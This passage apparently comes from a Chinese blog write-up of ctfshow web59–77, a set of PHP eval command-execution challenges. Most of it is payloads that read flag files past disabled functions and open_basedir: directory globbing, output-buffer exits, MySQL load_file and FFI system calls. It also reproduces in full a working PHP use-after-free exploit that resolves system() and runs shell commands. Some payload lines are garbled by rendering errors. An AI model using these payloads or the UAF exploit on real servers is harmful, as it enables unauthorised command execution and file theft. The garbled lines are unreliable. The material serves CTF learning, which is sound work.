c= a = n e w D i r e c t o r y I t e r a t o r ( ′ g l o b : / / / ∗ ′ ) ; f o r e a c h ( a=new DirectoryIterator('glob:///*');foreach( a=newDirectoryIterator(glob:///);foreach(a as KaTeX parse error: Expected '}', got 'EOF' at end of input: f){echo(f->__toString()." ");}

payload

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web59

代码没变

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

应该是禁用一些函数

payload

//paylaod汇总
c=highlight_file("flag.php");
c=var_dump(file("flag.php")); 
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);

web60

代码一样的

但是,readfile被禁用了

payload

c=show_source("flag.php");
c=highlight_file("flag.php");
c=$a=fopen("flag.php","r");while(!feof($a)){$line=fgetc($a);echo $line;};
c=$a=fopen("flag.php","r");while(!feof($a)){$line=fgetcsv($a);var_dump($line);};

其中c= a = f o p e n ( " f l a g . p h p " , " r " ) ; w h i l e ( ! f e o f ( a=fopen("flag.php","r");while(!feof( a=fopen("flag.php","r");while(!feof(a)){ l i n e = f g e t s ( line=fgets( line=fgets(a);echo $line;};不行,被禁用了。

补充一点,print不能输出数组,可以用print_r()和var_dump()

新姿势:

这个姿势比较骚
因为直接url/flag.php,看不到php文件
我们使用rename和copy重新命名
//用法:
copy("flag.php","flag.txt");             //过60
rename("flag.php","flag.txt");     

web61-65

代码一样,禁用函数不同

c=$a=opendir("./");while(($file=readdir($a))!=false){echo show_source($file);};
c=highlight_file(next(array_reverse(scandir(dirname("__FILE__")))));
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));
current():返回数组当前的值,默认是数组的第一个值。
localeconv():返回一包含本地数字及货币格式信息的数组。数组中第一个值是点号。
结合current()后,得到目录。

web66-67

还是代码一样,禁用函数不同。

首先扫描根目录c=vard_dump(scandir("/"));

发现不是flag.php,是flag.txt。

payload

c=highlight_file("/flag.txt");
c=include('/flag.txt');
c=require('/flag.txt');

web68-70

先扫描目录

c= a = n e w D i r e c t o r y I t e r a t o r ( ′ g l o b : / / / ∗ ′ ) ; f o r e a c h ( a=new DirectoryIterator('glob:///*');foreach( a=newDirectoryIterator(glob:///);foreach(a as KaTeX parse error: Expected '}', got 'EOF' at end of input: f){echo(f->__toString()." ");}

payload

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web71

打不开网页,因为把error_reporting(0),ini_set()函数都禁用了。

<?
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

介绍函数

ob_start():打开输出控制缓冲
ob_get_contents():返回输出缓存的内容
ob_end_clean(): 清空(擦除)缓冲区并关闭输出缓冲
关于Ob_end_clean()的说明:
    此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。

一个例子

<?php
ob_start();
echo "hello";
$out1=ob_get_contents();
echo "world";
$out2 =ob_get_contents();
ob_end_clean();

var_dump($out1,$out2);
?>
输出:
string(5) "hello"string(10) "helloworld";

首先通过第一个ob_get_contents(),将hello存储到变量out1中,然后第二个函数把world存储到out2,但是因为ob_end_clean(),只丢弃离它最近,最顶端的换成内容,所以hello输出出来了,而world没有输出出来。因为变量存储了内容,var_dump()可以输出出来。

代码中,ob_end_clean()不能直接输出出来,必须经过正则才能输出出来。

我们使用强制退出,直接结束后面的程序。

payload

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");};exit();查看目录
c=$d=opendir("../../../");while(false!==($f=readdir($d))){echo"$f\n";};exit();读取目录
c=include("/flag.txt");exit();其中exit()也可以变成die(),include变成require()

web72

代码不变

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

payload

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");};exit();查看目录

目录中flag在flag0.txt,继续执行include,发现include被禁用

存在open_basedir()和disabled_functions的限制

open_basedir:将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开

disable_functions:用于禁止某些函数,也就是黑名单,简单来说就是php为了防止某些危险函数执行给出的配置项,默认情况下为空

师傅们的exp

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

burp抓包,把c的值换为exp,再进行url编码,得flag

web73-74

首先我们使用

c=?><?php echo"hello";exit(0);
发现输出hello,说明前面的语句执行了
?>先闭合前面的语句,再构造后面的语句。
查看目录
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f." ";};exit(0);
得到flag
c=?><?php require("/flagx.txt");exit(0);
require可以换成include

web75-76

代码一样的

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f." ";};die("helloworld");
查看文件目录,flag在flag36.txt里。

这个题使用mysql的load_file()来读取文件。

刚好来学习一下php中的mysql,与数据库连接。

连接数据库
$con=mysqli_connect("localhost:3306","root","root");面向过程
$con=new mysqli("localhost:3306","root","root");面向对象

检测数据库
if($con->connect_error())
if(!$con)
    
创建数据库
mysqli_query($con,"CREAT DATABASE my_db")
$con->query("CREAT DATABASE my_db")===TRUE
创建表,mysqli_connect,传入数据库名字
CREATE TABLE my_sql(
    id INT(10),
    username VARCHAR(15),
    pasword VARCHAR(16)
)
插入表的数据
INSERT INTO my_sql(id,username,pasword) values (4,'zzy','zxc123')
if(mysql_query($con,$sql))
if($con->query($sql)===TRUE)

插入多条数据
$sql = "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('John', 'Doe', 'john@example.com');";
$sql .= "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('Mary', 'Moe', 'mary@example.com');";
$sql .= "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('Julie', 'Dooley', 'julie@example.com')";
if(mysql_multi_query($con,$sql))
if($con->multi_query($sql)===TURE)

读取数据
select语句
where语句
order by 语句,是对某列的数据进行排序,默认升序,DESC降序
可以根据多个列进行排序。当按照多个列进行排序时,只有第一列的值相同时才使用第二列:
update更新
UPDATE table_name
SET column1=value, column2=value2,...
WHERE some_column=some_value
delete删除
DELETE FROM table_name
WHERE some_column = some_value
关闭
mysqli_close($con)
$con->close();

payload

利用mysql load_file读文件   //过75,76
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
select load_file()根据文件路径,可以读取文件
    
然后url编码。

web77

不会做,给出payload

c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();

参考文献

[羽师傅的](https://blog.csdn.net/miuzzx/article/details/108619930)
[y4爷](https://blog.csdn.net/solitudi/article/details/109837640?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163274800416780265418818%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=163274800416780265418818&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v2~rank_v29-1-109837640.pc_v2_rank_blog_default&utm_term=%E5%91%BD%E4%BB%A4&spm=1018.2226.3001.4450)
[南方师傅](https://www.wlhhlc.top/posts/14827/)
[PHP FFI详解 - 一种全新的PHP扩展方式 - 风雪之隅 (laruence.com)](https://www.laruence.com/2020/03/11/5475.html)
  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写过技巧,如分号、竖线、双与号等。这些技巧可以用来过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门之命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值